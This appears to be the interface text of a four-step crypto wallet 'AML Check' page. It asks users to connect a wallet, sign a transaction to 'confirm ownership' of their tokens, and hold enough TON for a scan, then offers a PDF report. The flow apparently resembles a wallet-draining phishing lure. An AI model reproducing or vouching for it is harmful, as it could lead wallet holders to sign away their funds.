AML Check
Select token
Step 1 of 4
To continue, please select the token
Connect wallet
Step 2 of 4
To continue, select and connect your wallet
The selected asset
Something went wrong, please try submitting the request again or
refresh the page and reconnect your wallet
Confirmation
Step 3 of 4
Confirm ownership of your tokens using wallet
The selected asset
Check in process
Step 4 of 4
We scrutinize your wallet thoroughly
Check failed
Step 4 of 4
We scrutinize your wallet thoroughly
You don’t have at least TON in your balance for a full scan.
Refill your wallet and try again
Check failed
Step 4 of 4
We scrutinize your wallet thoroughly
Transaction failed or user declined request.
Token ownership confirmation was not completed. Please confirm your token ownership and try again.
Your wallet has successfully passed the Anti-Money Laundering (AML) check.
To view the detailed results of the check, simply click the button below to download the report in PDF format.